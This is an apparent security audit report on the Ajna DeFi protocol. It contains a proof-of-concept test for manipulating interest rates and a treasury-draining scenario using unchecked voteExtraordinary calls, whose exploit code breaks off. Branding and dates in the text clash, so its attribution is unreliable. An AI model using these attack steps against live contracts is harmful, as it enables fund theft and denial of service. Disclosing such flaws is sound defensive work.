

Ajna Protocol

Security assessment by HashEye · prepared for Ajna Labs

HASHEYE AUDITED

PROJECT	Ajna Protocol
CLIENT	Ajna Labs
CATEGORY	Blockchain
PUBLISHED	April 1, 2023
REPORT ID	research-ajna-protocol-2023-04-01-dqs3x0

This report was produced under HashEye's layered review process – **automated detection**, **pattern correlation**, and **senior manual verification** – with every finding signed off by a human reviewer. Full findings detail and on-chain attestation are available on the report page at hasheye.io/audits/research-ajna-protocol-2023-04-01-dqs3x0.

Ajna Protocol Security Assessment April 24, 2023 Prepared for: Ian Harvey Ajna Labs Prepared by: Bo Henderson, Alexander Remie, Richie Humphrey, and Justin Jacob

About HashEye Founded in 2012 and headquartered in New York, HashEye provides technical security assessment and advisory services to some of the world's most targeted organizations. We combine high-end security research with a real-world attacker mentality to reduce risk and fortify code. With 100+ employees around the globe, we've helped secure critical software elements that support billions of end users, including Kubernetes and the Linux kernel. We maintain an exhaustive list of publications at <https://github.com/hashey-io/publications>, with links to papers, presentations, public audit reports, and podcast appearances. In recent years, HashEye consultants have showcased cutting-edge research through presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, the O'Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon. We specialize in software testing and code review projects, supporting client organizations in the technology, defense, and finance industries, as well as government entities. Notable clients include HashiCorp, Google, Microsoft, Western Digital, and Zoom. HashEye also operates a center of excellence with regard to blockchain security. Notable projects include audits of Algorand, Bitcoin SV, Chainlink, Compound, Ethereum 2.0, MakerDAO, Matic, Uniswap, Web3, and Zcash. To keep up to date with our latest news and announcements, please follow hashey on Twitter and explore our public repositories at <https://github.com/hashey-io>. To engage us directly, visit our "Contact" page at <https://www.hashey.io/contact>, or email us at info@hashey.io. HashEye, Inc. 228 Park Ave S #80688 New York, NY 10003 <https://www.hashey.io> info@hashey.io HashEye 1 Ajna Protocol Security Assessment PUBLIC

Notices and Remarks Copyright and Distribution © 2023 by HashEye, Inc. All rights reserved. HashEye hereby asserts its right to be identified as the creator of this report in the United Kingdom. This report is considered by HashEye to be public information; it is licensed to Ajna Labs under the terms of the project statement of work and has been made public at Ajna Labs's request. Material within this report may not be reproduced or distributed in part or in whole without the express written permission of HashEye. The sole canonical source for HashEye publications is the HashEye Publications page. Reports accessed through any source other than that page may have been modified and should not be considered authentic. Test Coverage Disclaimer All activities undertaken by HashEye in association with this project were performed in accordance with a statement of work and agreed upon project plan. Security assessment projects are time-boxed and often reliant on information that may be provided by a client, its affiliates, or its partners. As a result, the findings documented in this report should not be considered a comprehensive list of security issues, flaws, or defects in the target system or codebase. HashEye uses automated testing techniques to rapidly test the controls and security properties of software. These techniques augment our manual security review work, but each has its limitations: for example, a tool may not generate a random edge case that violates a property or may not fully complete its analysis during the allotted time. Their use is also limited by the time and resource constraints of a project. HashEye 2 Ajna Protocol Security Assessment PUBLIC

Table of Contents About HashEye 1 Notices and Remarks 2 Table of Contents 3 Executive Summary 4 Project Summary 6 Project Goals 7 Project Targets 8 Project Coverage 9 Automated Testing 11 Codebase Maturity Evaluation 16 Summary of Recommendations 18 Summary of Findings 19 Detailed Findings 20 1. Solidity compiler optimizations can be problematic 20 2. findIndexAndSumOfSums ignores global scalar 21 3. Incorrect inflator arithmetic in view functions 22 4. Interest rates can become extreme, allowing denial-of-service attacks 24 5. Use of older versions of external libraries 26 6. Extraordinary proposal can be used to steal extraordinary amounts of AJNA 27 7. findMechanismOfProposal could shadow an extraordinary proposal 30 8. Missing checks of array lengths in LP allowance update functions 32 A. Vulnerability Categories 34 B. Code Maturity Categories 36 C. Code Quality Recommendations 38 D. Mutation Testing 41 E. Testing Foundry Invariants Using Echidna 44 F. Incident Response Plan 46 G. Risks with User-Created Token Pools 48 H. Token Integration Checklist 49 I. Documentation Improvement Recommendations 54 J. Rounding Guidance 59 K. Security Best Practices for the Use of a Multisignature Wallet 61 L. Fix Review Results 63 HashEye 3 Ajna Protocol Security Assessment PUBLIC

Executive Summary Engagement Overview Ajna Labs engaged HashEye to review the security of its Ajna protocol. From February 13 to April 3, 2023, a team of four consultants conducted a security review of the client-provided source code, with 12 person-weeks of effort. Details of the project's timeline, test targets, and coverage are provided in subsequent sections of this report. Project Scope Our testing efforts were focused on the identification of flaws that could result in a

compromise of confidentiality, integrity, or availability of the target system. We conducted this audit with full knowledge of the system, including access to the source code and documentation. We performed static testing of the target system and its codebase, using both automated and manual processes. Summary of Findings The audit uncovered one high-severity issue and one medium-severity issue. The high-severity finding stems from missing access controls on accounts voting on extraordinary proposals. The medium-severity finding relates to the risk of extreme interest rates. A complete summary of the findings and details on notable findings are provided below. EXPOSURE ANALYSIS Severity Count High 1 Medium 1 Low 3 Informational 2 Undetermined 1 CATEGORY BREAKDOWN Category Count Access Controls 1 Data Validation 2 Denial of Service 1 Patching 1 Undefined Behavior 3 HashEye 4 Ajna Protocol Security Assessment PUBLIC

Notable Findings Significant flaws that impact system confidentiality, integrity, or availability are listed below. • TOB-AJNA-4 The continual increase of interest rates caused by a highly collateralized loan can make a pool essentially unusable, causing a denial of service. • TOB-AJNA-6 A lack of access controls on the voteExtraordinary function allows an attacker to steal AJNA tokens from the treasury. HashEye 5 Ajna Protocol Security Assessment PUBLIC

Project Summary Contact Information The following managers were associated with this project: Dan Guido , Account Manager Anne Marie Barry , Project Manager dan@hasheye.io annemarie.barry@hasheye.io The following engineers were associated with this project: Bo Henderson , Consultant Alexander Remie , Consultant bo.henderson@hasheye.io alexander.remie@hasheye.io Richie Humphrey , Consultant Justin Jacob , Consultant rickie.humphrey@hasheye.io justin.jacob@hasheye.io Project Timeline The significant events and milestones of the project are listed below. Date Event February 9, 2023 Pre-project kickoff call February 17, 2023 Status update meeting #1 February 24, 2023 Status update meeting #2 March 13, 2023 Status update meeting #3 March 20, 2023 Status update meeting #4 March 27, 2023 Status update meeting #5 April 3, 2023 Delivery of report draft April 3, 2023 Report readout meeting April 24, 2023 Delivery of final report HashEye 6 Ajna Protocol Security Assessment PUBLIC

Project Goals The engagement was scoped to provide a security assessment of the Ajna protocol. Specifically, we sought to answer the following non-exhaustive list of questions: • Can an attacker drain funds from the pool? • Are the Fenwick trees updated correctly after every inflow and outflow operation? • Can liquidations be prevented or manipulated by a malicious actor? • Is it possible to prevent a pool's lending or borrowing actions? • Are there any error-prone or incorrect steps in the deployment and initial configuration of the pools? • Is there any way for bad debt to accumulate, for an improper collateral withdrawal to occur, or for a pool to become insolvent in any other way? • Can an attacker use any of the grant funding proposals to steal AJNA tokens? • Is it possible to cause a denial of service in the grant funding system? • Does the use of fee-on-transfer and rebasing ERC-20 tokens cause any problems in the internal accounting? HashEye 7 Ajna Protocol Security Assessment PUBLIC

Project Targets The engagement involved a review and testing of the targets listed below. contracts Repository <https://github.com/ajna-finance/contracts> Initial Version ec79122645eea6468bd6040f2ad67eab00eae34e Final Version 65bcd8ea791f4c70452768e4ebe15efd8f1430b6 Type Solidity Platform EVM ecosystem-coordination Repository <https://github.com/ajna-finance/ecosystem-coordination> Initial Version dcbdfead225da642db57bd8458e33197ffc384e7 Final Version 4e18e0e2d019c5120ab41a684a39d4d55d4c5243 Type Solidity Platform EVM HashEye 8 Ajna Protocol Security Assessment PUBLIC

Project Coverage This section provides an overview of the analysis coverage of the review, as determined by our high-level engagement goals. Our approaches and their results include the following: The Contracts Repository • Deposits : The Deposits library uses scaling Fenwick trees to manage quote token deposits in a relatively novel data management algorithm that sacrifices some precision for efficiency. We carefully reviewed all of the available specifications and analyzed the implementation to ensure it aligns with them; we identified one minor discrepancy through this review process (TOB-AJNA-2). We also reviewed the implications of rounding errors as a result of division and fixed-point multiplication operations; guidance related to rounding is provided in appendix J . • PoolCommons : This external library contains common logic used by the pool, mostly related to calculating and applying interest. We compared the formulas described by the specifications to the implemented calculations to confirm that they align. We also created custom unit tests to put pools into various financial positions to investigate how they would affect interest rates. We assessed the capital requirements for positions that cause interest rates to continuously increase or decrease, uncovering concerns described in finding TOB-AJNA-4 . • Auctions : The Auctions library contains logic for holding auctions for liquidated borrowers' collateral. When a borrower's position is insolvent, auctions occur during the liquidation process to sell off the borrower's collateral and settle any outstanding pool debt. We reviewed the entire liquidation process, from the process of "kicking" (or initiating auctions for) loans to the settlement of

auctions. We also reviewed the "take" functions used for buying collateral from auctions via quote tokens. We looked for opportunities to steal or receive collateral at a discount and for ways in which the tranching pattern could be disrupted, causing buckets to be prematurely flagged as bankrupt.

- Loans : This internal library stores outstanding solvent loans in a max heap ordered by threshold price. We compared the implemented heap operations in the library to standard specifications for a classic max heap and found no meaningful discrepancies.
- Actions libraries: The external LenderActions and BorrowerActions libraries use the internal Bucket , Deposits , Loans , and Maths libraries to implement the core business logic for each Ajna pool. We manually reviewed these components and looked for ways that an attacker could bypass safety checks or otherwise disrupt the system's internal accounting. We created custom test scenarios to test how the state is affected by various actions, which identified finding TOB-AJNA-4 .

HashEye 9 Ajna Protocol Security Assessment PUBLIC

- Pool contracts: The Pool and FlashloanablePool contracts are abstract base contracts inherited by the ERC20Pool and ERC721Pool contracts. As a whole, these act as user-facing entry points to the Ajna protocol; the latter two contracts provide logic specific to certain types of tokens. We manually reviewed these contracts' use of library methods to update state variables and the associated view functions, identifying one minor issue (TOB-AJNA-3). We also created custom tests to perform sensitivity analysis on how changes to the pool affect state. The Ecosystem-Coordination Repository
- StandardFunding : This contract implements the decentralized voting system for standard proposals. Proposals can be used only to pay out AJNA tokens. A standard proposal consists of multiple phases: screening, funding, and the challenge, after which the proposal can be executed. We used both static analysis and a manual review to look for issues such as reentrancy vulnerabilities, missing or incorrect input validation, the ability to perform actions in phases that should not allow those actions, the incorrect application of quadratic voting, ways to place votes on behalf of voters that have not delegated their voting power to others, ways to get proposals without enough votes in the top 10, ways to cause a denial of service of the system, and flaws in the view functions.
- ExtraordinaryFunding : This contract implements the decentralized voting system for extraordinary proposals. Proposals can be used only to pay out AJNA tokens. An extraordinary proposal does not consist of phases; as soon as the required number of votes has been reached, it can be immediately executed. We used both static analysis and a manual review to look for issues such as reentrancy vulnerabilities, missing or incorrect input validation, ways to place votes on behalf of voters that have not delegated their voting power to others, ways to cause a denial of service of the system, and flaws in the view functions. Our review identified one severe instance of missing access controls, described in finding TOB-AJNA-6 .

Coverage Limitations Because of the time-boxed nature of testing work, it is common to encounter coverage limitations. The following list outlines the coverage limitations of the engagement and indicates system elements that may warrant further review:

- Economic conditions that could enable attacks: Although we used both a static manual review and dynamic testing to investigate the behavior of the system under various financial conditions, attackers will have an advantage post-launch because they will have real-world, historical financial data to analyze and experiment against. Risky and unanticipated financial conditions may occur after launching the protocol, which we were not able to anticipate or help mitigate during this review.

HashEye 10 Ajna Protocol Security Assessment PUBLIC

Automated Testing HashEye uses automated techniques to extensively test the security properties of software. We use both open-source static analysis and fuzzing utilities, along with tools developed in house, to perform automated testing of source code and compiled software.

Test Harness Configuration We used the following tools in the automated testing phase of this project:

Tool	Description
Policy Echidna	A smart contract fuzzer that can rapidly test security properties via malicious, coverage-guided test case generation
Appendix E Universalmutator	A deterministic mutation generator that detects gaps in test coverage
Appendix D Test Results	The results of this focused testing are detailed below.

Collateral tokens (ERC-20 pool): Using Echidna, we tested the following collateral token-related properties of the ERC-20 pool.

Property	Tool	Result
The pool's collateral token balance (Collateral.balanceOf(pool)) equals the sum of all borrowers' collateral balances (Borrower.collateral) plus the sum of claimable collateral across all buckets (Bucket.collateral).	Echidna	Passed
The total pledged collateral in the pool (PoolBalancesState.pledgedCollateral) equals the sum of all borrowers' collateral balances (Borrower.collateral).	Echidna	Passed

HashEye 11 Ajna Protocol Security Assessment PUBLIC

Quote tokens (ERC-20 pool): Using Echidna, we tested the following quote token-related properties of the ERC-20 pool.

Property	Tool	Result
The pool's quote token balance (Quote.balanceOf(pool)) is greater than or equal to the liquidation bonds (AuctionsState.totalBondEscrowed), plus the pool's deposit size (Pool.depositSize()), plus the reserve auction's unclaimed amount (reserveAuction.unclaimed), minus the pool's t0 debt (PoolBalancesState.t0Debt).	Echidna	Passed
The pool's t0 debt (PoolBalancesState.t0Debt) equals the sum of all borrowers' t0 debt (Borrower.t0Debt).	Echidna	Passed

Auctions (ERC-20 pool): Using Echidna, we tested the following

auction-related properties of the ERC-20 pool. Property Tool Result The total auctioned t0 debt (PoolBalancesState.t0DebtInAuction) equals the sum of all borrowers' debt (Borrower.t0Debt where borrower's kickTime \neq 0).* Echidna Passed The sum of bonds locked in auctions (Liquidation.bondSize) equals the sum of all kickers' locked balances (Kicker.locked), which equals the value of the total bond escrowed accumulator (AuctionsState.totalBondEscrowed).* Echidna Passed The number of borrowers with debt (LoansState.borrowers.length with t0Debt \neq 0) equals the number of loans (LoansState.loans.length - 1) plus the number of auctioned borrowers (AuctionsState.noOfAuctions).* Echidna Passed The number of recorded auctions (AuctionsState.noOfAuctions) equals the length of auctioned borrowers (the count of borrowers in AuctionsState.liquidations with kickTime \neq 0).* Echidna Passed HashEye 12 Ajna Protocol Security Assessment PUBLIC

For each Liquidation recorded in the liquidations mapping (AuctionsState.liquidations), the kicker address (Liquidation.kicker) has a locked balance (Kicker.locked) greater than or equal to the liquidation bond size (Liquidation.bondSize).* Echidna Passed Loans (ERC-20 pool): Using Echidna, we tested the following loan-related properties of the ERC-20 pool. Property Tool Result For each Loan in the loans array (LoansState.loans) starting from index 1 , the corresponding address (Loan.borrower) is not 0x , the threshold price (Loan.thresholdPrice) is different than 0 , and the ID mapped in the indices mapping (LoansState.indices) equals the index of the loan in the loans array.* Echidna Passed The Loan in the loans array (LoansState.loans) at index 0 has a corresponding address (Loan.borrower) equal to 0x and a threshold price (Loan.thresholdPrice) equal to 0 .* Echidna Passed The loans array (LoansState.loans) is a max heap with respect to t0-threshold prices: the t0-threshold price of a loan at index i is greater than or equal to the t0-threshold price of the loans at indices 2*i and 2*i+1 .* Echidna Passed Buckets (ERC-20 pool): Using Echidna, we tested the following bucket-related properties of the ERC-20 pool. Property Tool Result The sum of lenders' LP balances in a bucket (Lender.lps) equals the value of the bucket's LP accumulator (Bucket.lps).* Echidna Passed The value of the bucket's LP accumulator (Bucket.lps) equals 0 if there are no deposits or collateral in the bucket.* Echidna Passed HashEye 13 Ajna Protocol Security Assessment PUBLIC

If there are no collateral or deposits in a bucket, then the bucket exchange rate is 1e27 .* Echidna Passed Interest (ERC-20 pool): Using Echidna, we tested the following interest-related properties of the ERC-20 pool. Property Tool Result The interest rate (InterestState.interestRate) cannot be updated more than once in a 12-hour period of time (InterestState.interestRateUpdate).* Echidna Passed The pool inflator (InflatorState.inflator) cannot be updated more than once per block (block.timestamp - InflatorState.inflatorUpdate \neq 0) and equals 1e18 if there is no debt in the pool (PoolBalancesState.t0Debt \neq 0).* Echidna Passed *Invariant tests were written by the Ajna protocol team and used in their Foundry invariant tests. Universalmutator. The following table displays the proportion of mutants for which all unit tests passed. A small number of valid mutants indicates that test coverage is thorough and that any newly introduced bugs are likely to be caught by the test suite. A large number of valid mutants indicates gaps in the test coverage where errors may go unnoticed. We used the results in the following table to guide our manual review, giving extra attention to code for which test coverage appears to be incomplete.

Target	Valid	Mutants
contracts/src/base/FlashloanablePool.sol	0.0%	
contracts/src/base/PermitERC721.sol	0.0%	contracts/src/base/Pool.sol 0.0%
contracts/src/base/PoolDeployer.sol	0.0%	contracts/src/libraries/external/Auctions.sol 5.1%

HashEye 14 Ajna Protocol Security Assessment PUBLIC

contracts/src/libraries/external/BorrowerActions.sol	4.1%
contracts/src/libraries/external/LenderActions.sol	0.9%
contracts/src/libraries/external/PoolCommons.sol	4.8%
contracts/src/libraries/external/PositionNFTSVG.sol	3.1%
contracts/src/libraries/helpers/PoolHelper.sol	0.0%
contracts/src/libraries/helpers/RevertsHelper.sol	0.0%
contracts/src/libraries/helpers/SafeTokenNamer.sol	0.0%
contracts/src/libraries/internal/Buckets.sol	1.8%
contracts/src/libraries/internal/Deposits.sol	4.8%
contracts/src/libraries/internal/Loans.sol	1.4%
contracts/src/libraries/internal/Maths.sol	2.5%
contracts/src/ERC20Pool.sol	0.0%
contracts/src/ERC20PoolFactory.sol	0.0%
contracts/src/ERC721Pool.sol	0.0%
contracts/src/ERC721PoolFactory.sol	0.0%
contracts/src/PositionManager.sol	0.0%
contracts/src/RewardsManager.sol	0.0%

HashEye 15 Ajna Protocol Security Assessment PUBLIC

Codebase Maturity Evaluation HashEye uses a traffic-light protocol to provide each client with a clear understanding of the areas in which its codebase is mature, immature, or underdeveloped. Deficiencies identified here often stem from root causes within the software development life cycle that should be addressed through standardization measures (e.g., the use of common libraries,

functions, or frameworks) or training and awareness programs. Category Summary Result Arithmetic The arithmetic used by the system features underflow and overflow protection, and unchecked blocks are not used without justification. Precision loss via fixed-point multiplication and division is carefully handled to preserve important system invariants; however, the error bounds are not well defined for other invariants that do not hold with perfect precision. The arithmetic is covered by a combination of unit and fuzz tests. Satisfactory Auditing Events are emitted for critical operations, although a few operations, such as taking out flash loans, do not emit events. Definitions of events are occasionally duplicated across the interfaces and implementations. This separates the events used in production from their NatSpec comments, hampering the code's readability. Off-chain monitoring systems and incident response plans are not present. Moderate Authentication / Access Controls There are no privileged roles to authenticate. Users are adequately prevented from manipulating the financial positions of other users; however, we identified one issue related to access controls in the voting process (TOB-AJNA-6). Moderate Complexity Management Although this system has no external dependencies, it is still a complex financial primitive. The domain-specific terminology is well documented in the glossary at the end of the white paper. The responsibility of each library is clear and well defined. Logic that depends on complex Satisfactory HashEye 16 Ajna Protocol Security Assessment PUBLIC

data structures is thoroughly documented. Decentralization The system features no privileged actors, external dependencies, or upgradeability, and features immutable configuration parameters. Although a voting system is present, it is not capable of upgrading or modifying the pool's bytecode or configuration. Strong Documentation A high-level description and low-level specifications of the system are present. Code comments are numerous and thorough. System invariants are clearly defined. Given the complexity of this novel financial primitive, we have provided recommendations for further improvement of the documentation in appendix I . Satisfactory Front-Running Resistance Few transaction-timing risks are present in the system. Auctions are time-sensitive, allowing users to front-run each other, but not in a way that would negatively impact the system's solvency. A few mitigations for attacks extracting the maximal extractable value (MEV) from transactions are present, such as the unutilized deposit fee, but they do not unnecessarily hamper the activity of honest users. Satisfactory Low-Level Manipulation Assembly is used sparingly and only in single-opcode blocks. The assembly that is present is justified and is accompanied by code comments. No low-level calls are used. Satisfactory Testing and Verification The system features both unit tests for basic behavior and fuzz tests for verifying more complex arithmetic and system invariants. Test coverage is measured and reported automatically as part of the CI configuration. Although our mutation testing campaign identified some logic with incomplete test coverage, the overall coverage is high and many contracts featured 0% mutant validity. Satisfactory HashEye 17 Ajna Protocol Security Assessment PUBLIC

Summary of Recommendations HashEye recommends that Ajna Labs address the findings detailed in this report and take the following additional steps prior to deployment: • Consider incorporating mutation testing into the project's test suite to identify and fill gaps in the test coverage (see appendix D). • Identify any potential economic edge cases that can occur and thoroughly stress test the system to ensure it behaves as intended given a robust variety of settings. • Continue building up the list of protocol invariants and test them using invariant testing. • Improve the protocol's documentation, following the recommendations provided in appendix I . • Design an incident response plan to prepare for failure scenarios and how to react to them, following the recommendations provided in appendix F . HashEye 18 Ajna Protocol Security Assessment PUBLIC

Summary of Findings The table below summarizes the findings of the review, including type and severity details. ID Title Type Severity 1 Solidity compiler optimizations can be problematic Undefined Behavior Undetermined 2 findIndexAndSumOfSums ignores global scalar Undefined Behavior Informational 3 Incorrect inflator arithmetic in view functions Data Validation Low 4 Interest rates can become extreme, allowing denial-of-service attacks Denial of Service Medium 5 Use of older versions of external libraries Patching Informational 6 Extraordinary proposal can be used to steal extraordinary amounts of AJNA Access Controls High 7 findMechanismOfProposal could shadow an extraordinary proposal Undefined Behavior Low 8 Missing checks of array lengths in LP allowance update functions Data Validation Low HashEye 19 Ajna Protocol Security Assessment PUBLIC

Detailed Findings 1. Solidity compiler optimizations can be problematic Severity: Undetermined Difficulty: High Type: Undefined Behavior Finding ID: TOB-AJNA-1 Target: contracts/foundry.toml Description Ajna protocol has enabled optional compiler optimizations in Solidity. There have been several optimization bugs with security implications. Moreover, optimizations are actively being developed . Solidity compiler optimizations are disabled by default, and it is unclear how many contracts in the wild actually use them. Therefore, it is unclear how well they are being tested and exercised. High-severity security issues due to optimization bugs have occurred in the past . A high-severity bug in the emscripten -generated solc-js compiler used by Truffle and Remix persisted

until late 2018. The fix for this bug was not reported in the Solidity CHANGELOG. Another high-severity optimization bug resulting in incorrect bit shift results was patched in Solidity 0.5.6 . More recently, another bug due to the incorrect caching of keccak256 was reported. A compiler audit of Solidity from November 2018 concluded that the optional optimizations may not be safe . It is likely that there are latent bugs related to optimization and that new bugs will be introduced due to future optimizations. Exploit Scenario A latent or future bug in Solidity compiler optimizations –or in the Emscripten transpilation to solc-js –causes a security vulnerability in the Ajna protocol contracts. Recommendations Short term, measure the gas savings from optimizations and carefully weigh them against the possibility of an optimization-related bug. Long term, monitor the development and adoption of Solidity compiler optimizations to assess their maturity. HashEye 20 Ajna Protocol Security Assessment PUBLIC

2. findIndexAndSumOfSums ignores global scalar Severity: Informational Difficulty: High Type: Undefined Behavior Finding ID: TOB-AJNA-2 Target: contracts/src/libraries/internal/Deposits.sol Description The findIndexAndSumOfSums method ignores the global scalar of the scaled Fenwick tree while calculating the smallest index at which the prefix sum is at least the given target value. In a scaled Fenwick tree, values at power-of-two indices contain the prefix sum of the entire underlying array up to that index. Similarly, scalars at power-of-two indices contain a scaling factor by which all lower-index values should be multiplied to get the correct underlying values and prefix sums. The findIndexAndSumOfSums method performs a binary search starting from the middle power-of-two index, 4096 (2¹²). If the prefix sum up to that point is too small, the algorithm checks higher indices, and if the prefix sum is too large, it checks lower indices. But the global scalar at index 8192 (2¹³) is not visited by this method, and its value is never considered. If the global scalar contains a non-default value, then the indices and sums returned by findIndexAndSumOfSums will be incorrect. Exploit Scenario A subsequent update to the codebase allows global rescales in constant time by modifying the scale value at index 2¹³ . As a result, findIndexAndSumOfSums returns incorrect values, causing auction and lending operations to malfunction. Recommendations Short term, initialize the runningScale variable in findIndexAndSumOfSums to the global scalar instead of to one wad. Long term, for each system component, build out unit tests to cover all known edge cases and document them thoroughly. This will facilitate a review of the codebase and help surface other similar issues. HashEye 21 Ajna Protocol Security Assessment PUBLIC

3. Incorrect inflator arithmetic in view functions Severity: Low Difficulty: High Type: Data Validation Finding ID: TOB-AJNA-3 Target: contracts/src/base/Pool.sol Description The return values of the loansInfo method in the Pool contract include a maxThresholdPrice that has already been multiplied by the value of inflator . function loansInfo () external view override returns (address , uint256 , uint256) { return (Loans.getMax(loans).borrower, Maths.wmul(Loans.getMax(loans).thresholdPrice, inflatorState.inflator), Loans.noOfLoans(loans)); } Figure 3.1: The loansInfo() getter function in Pool.sol#L886-L892 The maxThresholdPrice value returned by this function is used in two places to calculate the highest threshold price (HTP): the htp() function (figure 3.2) and the poolPricesInfo() function (figure 3.3). However, in both cases the value is incorrectly multiplied by the value of inflator a second time , causing the value of htp to be overstated . // PoolInfoUtils.sol function htp (address ajnaPool_) external view returns (uint256) { IPool pool = IPool(ajnaPool_); (, uint256 maxThresholdPrice ,) = pool.loansInfo(); (uint256 inflatorSnapshot ,) = pool.inflatorInfo(); return Maths.wmul(maxThresholdPrice, inflatorSnapshot); } Figure 3.2: The htp() getter function in PoolInfoUtils.sol#L311-L320 // PoolInfoUtils.sol function poolPricesInfo (...) external view returns (...) { ... (, uint256 maxThresholdPrice ,) = pool.loansInfo(); (uint256 inflatorSnapshot ,) = pool.inflatorInfo(); HashEye 22 Ajna Protocol Security Assessment PUBLIC

htp_ = Maths.wmul(maxThresholdPrice, inflatorSnapshot); ... } Figure 3.3: The poolPricesInfo() getter function in Pool.sol#L153-L156 The htp value is used, among other things, to determine whether a new loan can be drawn. It is compared against the value of lup , which cannot be lower than the value of htp . If these htp numbers are used to determine whether a new loan can be entered, the code may consider that loan invalid when it is actually valid. Exploit Scenario Alice wants to initiate a new loan. The UI uses the return value of PoolInfoUtils.htp() to determine whether the loan is valid. The new lup value from Alice's loan is above the actual htp value but below the incorrect htp value that resulted from the double multiplication of maxThresholdPrice . As a result, the UI prevents her from submitting the loan, and Alice has to use a competitor to get her loan. Recommendations Short term, update the htp() and poolPricesInfo() functions in PoolInfoUtils so that they do not multiply maxThresholdPrice by the value of inflator twice. Long term, add tests to ensure that all functions return correct values. HashEye 23 Ajna Protocol Security Assessment PUBLIC

4. Interest rates can become extreme, allowing denial-of-service attacks Severity: Medium Difficulty: Medium Type: Denial of Service Finding ID: TOB-AJNA-4 Target: contracts/src/libraries/external/PoolCommons.sol Description The Ajna protocol calculates interest rates based on the deviation of the meaningful actual utilization (MAU) from the target utilization (TU). If the MAU is sufficiently higher than the TU, then the interest rate will increase, as there is more demand for lending; interest will decrease if the TU is less than the MAU. The TU is calculated as the exponential moving average (EMA) of the collateralization ratio per pool debt, while the MAU is calculated as the average price of a loan weighted by the debt. As a result, when a pool contains much more collateral than deposited assets, the pool's interest rate will rise, even if debt is very low. Without sufficient debt, new lenders are not incentivized to deposit, even as interest rates grow to be very high. Borrowers are incentivized to repay debt as rates increase, but they are not directly incentivized to withdraw their collateral. Lender rates will continue to rise while the pool is in this state, eventually denying service to the pool. function testPOC () external { // _borrower borrows 1,000 USDC collateralized by 100 eth _drawDebt({amountToBorrow: 1000 e18, collateralToPledge: 100 e18}); //pay down a little (\$10) every 12 hours to trigger interestRate update for (uint index ; index < 14 ; ++index) { skip(12 . 01 hours); _repayDebt(10e18); } (uint interestRate,) = _pool.interestRateInfo(); assertEq(interestRate, 0 . 189874916791620500 * 1e18); // 18.99% } Figure 4.1: A proof-of-concept test that illustrates the issue There are many ways for rates to reach extreme highs or lows. Generally, market effects will keep rates in check, but if they do not, the rates could reach extreme values. Once loans are repaid and there is no more activity, there is no mechanism to cause the rates to return to normal. HashEye 24 Ajna Protocol Security Assessment PUBLIC

The protocol could try to affect the rates by adding deposits and loans directly. But if the pool were under attack, the mitigation efforts could be countered by an attacker adding deposits, loans, or collateral themselves. Exploit Scenario Eve wants to prevent a shorting market from developing for her \$EVE token. She takes the following actions: • Creates a new EVE/USDC pool where EVE is the quote token • Deposits 20 EVE into the bucket of price 1 • Provides 1,000 USDC as collateral • Borrows 10 EVE • Triggers interest rate increases every 12 hours • Begins marketing her EVE token two months later when the interest rate is over 2,000% As a result, would-be short sellers are deterred by high-interest rates, and the token is unable to be economically shorted, effectively disabling the pool. Recommendations Short term, consider using a nonlinear change in interest rates such that, as rates get higher (or lower) compared to the initial rate, a smaller increment can be used. Another way to mitigate this issue would be to implement some sort of interest rate "reset" that can be triggered under certain conditions or by a permissioned function. Long term, improve the protocol's unit test coverage to handle edge cases and ensure that the protocol behaves as intended. In addition, come up with a variety of edge cases and unlikely scenarios to adequately stress test the system. HashEye 25 Ajna Protocol Security Assessment PUBLIC

5. Use of older versions of external libraries Severity: Informational Difficulty: High Type: Patching Finding ID: TOB-AJNA-5 Target: contracts/lib/* Description The Ajna protocol depends on several external libraries, most notably OpenZeppelin and PRBMath, for various token interfaces and fixed-point math operations. However, the protocol uses outdated versions of these libraries. The Ajna protocol uses version 2.4.3 of PRBMath, while the most recent version is 3.3.2, and version 4.7.0 of OpenZeppelin, which has one bug regarding compact signature malleability. Older versions of libraries may contain latent bugs that have been patched in newer versions. Using libraries that are not up to date is error-prone and could result in downstream issues. The newer releases of both PRBMath and OpenZeppelin fix security issues that do not affect the current Ajna protocol smart contracts. Exploit Scenario A latent bug in version 2.4.3 of PRBMath causes fixed-point operations to be computed incorrectly. As a result, the precision loss throughout the protocol causes users to lose funds. Recommendations Short term, replace the use of the outdated versions of these libraries with their most recent versions. Long term, set up automated monitoring of external library releases. Review each new release to see if it fixes a security issue that affects the Ajna contracts. Given that the Ajna contracts are not upgradeable, develop a plan for mitigating security issues that were found in library versions used by the protocol and then fixed in newer versions after the Ajna contracts have already been deployed. HashEye 26 Ajna Protocol Security Assessment PUBLIC

6. Extraordinary proposal can be used to steal extraordinary amounts of AJNA Severity: High Difficulty: Low Type: Access Controls Finding ID: TOB-AJNA-6 Target: ecosystem-coordination/src/grants/base/ExtraordinaryFunding.sol Description The ExtraordinaryFunding contract's voteExtraordinary function accepts any address passed in for the account that will place the vote. As a result, an attacker can create an extraordinary proposal and call voteExtraordinary for each account that has voting power to make the proposal succeed (as long as the minimum threshold is adhered to). function voteExtraordinary (address account_ , uint256 proposalId_) external override returns (uint256 votesCast_) { votesCast_ = _extraordinaryFundingVote(account_ ,

```
proposalId_); } Figure 6.1: The voteExtraordinary() function in ExtraordinaryFunding.sol#L126-L131
To be able to place votes on both standard and extraordinary proposals, an account must call
ajnaToken.delegate(address) to enable the protocol to track their AJNA token balance. If the
passed-in address argument is that of the caller, then the caller will be allowed to vote (i.e.,
the caller delegates voting power to himself). On the other hand, if a different account's address
is passed in, that account will receive the caller's voting power (i.e., the caller delegates
voting power to another account). To summarize, until an account calls ajnaToken.delegate(address)
, that account's tokens cannot be used to place votes on any proposals. An extraordinary proposal
can be voted on by everyone that has voting power. Additionally, any account can place a vote only
once, can vote only in favor of a proposal, can vote only with their entire voting power, and
cannot undo a vote that has already been placed. An extraordinary proposal succeeds when there are
enough votes in favor and the minimum threshold is adhered to. There is no minimum amount of time
that needs to pass before an extraordinary proposal can be executed after it has gathered enough
votes. HashEye 27 Ajna Protocol Security Assessment PUBLIC
```

Exploit Scenario Off-chain, Mallory collects a list of all of the accounts that have voting power. She sums all of the voting power and calculates off-chain the maximum number of AJNA tokens that could be withdrawn if a proposal gathered all of that voting power. Mallory writes a custom contract that, inside the constructor, creates an extraordinary proposal to transfer all of the AJNA tokens to an account she controls, loops through the collected accounts with voting power, and calls GrantFund.voteExtraordinary for each account, followed by a call to GrantFund.executeExtraordinary . Mallory deploys the contract and receives the AJNA tokens. pragma solidity 0.8.16; import { IExtraordinaryFunding } from

```
